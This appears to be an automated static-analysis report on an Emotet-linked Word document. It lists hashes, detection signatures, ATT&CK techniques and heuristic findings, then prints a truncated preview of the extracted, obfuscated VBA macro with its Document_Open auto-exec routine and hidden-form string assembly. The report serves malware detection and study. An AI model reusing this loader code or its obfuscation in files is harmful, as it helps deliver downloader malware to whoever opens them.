Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f03cf9acb7b50989…

MALICIOUS

Office (OLE)

207.2 KB Created: 2019-12-19 06:45:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 51324b235df30867d5dfd76cc2a8e5c2 SHA-1: 07d5c362367b3e56bec7e7a5e137c2503a42dd52 SHA-256: f03cf9acb7b50989dceca2d2f56a0bc7022a5dd22237d75b3573a6cdfcb00e0b
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7465225-0, indicating it is likely part of the Emotet botnet. Static analysis reveals the presence of VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate the use of CreateObject and GetObject calls, along with a hidden UserForm command stager, which are common techniques for downloading and executing secondary payloads. The VBA code itself is heavily obfuscated but the presence of these indicators strongly suggests a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7465225-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465225-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13647 bytes
SHA-256: 8448570783b482355bb2ba6658abaae578280447a24811ee2623a3f78e8197f6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mxvhbduvaman"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Txystuopctf, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Mcmezirzle = "Autem."
Dim Xzgrbdrhv As Double
Dim Oaxczkfvqy As Integer
Alccymuaiaaoh = ("Aut deserunt unde.")
Dim Qmdgqfryebgr As Double
Dim Jwhaafgya As Integer
Dim Agcnajvippin As Double
Timxbsvfu = Soglormkm
Dim Pkerkjzraiqsh As Boolean
Azbzumcjhvpx = ("Ut.")
Dim Wdfrutbtjhlgd As Integer
Dim Cvznvqnjmvmmb As String
Dim Vlztdfkbmdrhp As Boolean
Oidnfaqjegj = "Dolorem labore ut facilis."
Dim Wihzxomahjvp As String
Dim Mjdjxpzhdioq As Integer
Dim Bumumsfdw As String
Bgngzixogd = ("Et nemo.")
Dim Wldtofyl As Boolean
Hymwadyoinmz = 557
Maezrcpbbt = Izqyxgdizo
Htprunow = 783
Pryvjnjxfcbgq
   Czwewqwsu = "Accusamus voluptates quis quia."
Dim Uysohauilh As Double
Dim Jwxhobssdbs As Boolean
Uzcssvddxcnxf = ("Soluta voluptas voluptas.")
Dim Xxuzkjniy As Boolean
Dim Qblfsgorm As Boolean
Dim Qtmpmlukjikk As Integer
Hstnhrdjk = Srkhjoeg
Dim Bnuwcnoyz As Double
Pzknudejogj = ("Nulla.")
Dim Ttkdaugeqzg As Double
Dim Rfdokkykcszto As String
Dim Xqasfgcidlyfa As Double
Aeiwmzfavyjdr = "Earl"
Dim Jljghaynar As Double
Dim Acmexxdruksyz As Integer
Dim Etvclhtbmwt As Boolean
Crieydfxiulfn = ("Maxime repellat sed.")
Dim Ztlgpktuepc As String
Baietepdc = 832
Wmrvyjwyxccsl = Oiwdpwoywim
Ivmwfljdsx = 825
End Sub

Attribute VB_Name = "Bxxiwjdrz"
Attribute VB_Base = "0{39A0656F-35F6-4270-A556-C76A3D36ABF4}{BE9C00E4-ED20-4F49-B983-E34C02E4FB76}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Jneeyenvp"
Function Jcehcnue()
   Ensdgeoyv = "Whitney"
Dim Awkyyahd As String
Dim Ebttmtpdwld As Integer
Miivefrshuk = ("Temporibus dicta libero nam.")
Dim Azxvgzctam As String
Dim Ukyuzyxghy As Integer
Dim Fdxsvxhjgdt As Double
Aeervlvkl = Sxhvmgbcigqd
Dim Ydfodrrioy As Integer
Plmvfttczxpl = ("Voluptas in tempora.")
Dim Brhzjachxipvi As String
Dim Kjibtrqp As Double
Dim Wkykantq As Integer
Abootqhnefk = "Hannah"
Dim Zpngkdik As Integer
Dim Ynqdxwuweecd As Double
Dim Thckckiqljzu As Integer
Invfyiqbd = ("Temporibus rem culpa.")
Dim Rkjfgywgtm As Integer
Xhrkhbgd = 909
Mnrjxeberd = Lazlfldo
Fmxxhxiaxjgh = 833
Ncwneqgiqyxj = Mxvhbduvaman.Txystuopctf
   Rindwbmxq = "Aspernatur et repellendus."
Dim Irilvnuyibepp As Boolean
Dim Ohlldzcnjkqp As Integer
Grrhraxv = ("Et numquam enim iste.")
Dim Ojmpgmtykcmfl As String
Dim Xgeybfxmxcj As Double
Dim Xswthoxtm As Boolean
Wqrfgoagn = Utwyrrxpnwzm
Dim Fsxwhuksxckn As Double
Ibdandxdw = ("Sunt et quos at ut placeat eos.")
Dim Fvxzkxermavdj As String
Dim Kbwundys As Integer
Dim Tzywvcvnab As String
Tnefvffmxtt = "Est architecto veritatis reprehenderit."
Dim Vhcvshdpoqxg As String
Dim Xaqjebxiipih As Integer
Dim Vnzfldzvtr As Integer
Vxfwgzbohmhk = ("Officiis facere asperiores corporis vel impedit ut ut.")
Dim Vmymnkoqta As String
Urrbgyckfzdm = 458
Geejgpqzin = Ewffeffoe
Ffihegwiledej = 397
Wnjexnaezdjpp = Ncwneqgiqyxj + Bxxiwjdrz.Ilgeerriroqje + Bxxiwjdrz.Mhtyuxfg + Bxxiwjdrz.Fnxfrqfjld
   Mmlugsclu = "Penny"
Dim Plwgetihtoq As Double
Dim Xdcclnqhlndql As Boolean
Fscoaoxqlp = ("Ipsa facere sed reiciendis inventore neque veniam voluptatem autem.")
Dim Oqqrwmmwdqzz As Boolean
Dim Fextqsowcbl As Integer
Dim Kamqmtsbqvvhd As String
Ioschkitt = Zgsoogtnbwrzn
Dim Ooiblmsgnnj As Boolean
Ocgtynuljcgp = ("Omnis enim soluta deserunt itaque velit consequatur quos.")
Dim Ylrofxtwtkr As String
Dim Gaeafxzzzq As Double
Dim Zldelcly As Integer
Uvyelbsiwbrc = "Eaque provident distinctio debitis."
Dim Fcasorzvun As String
Dim Prhifiolgi As Boolean
Dim Mxgqtwkx As Boolean
Zj
... (truncated)

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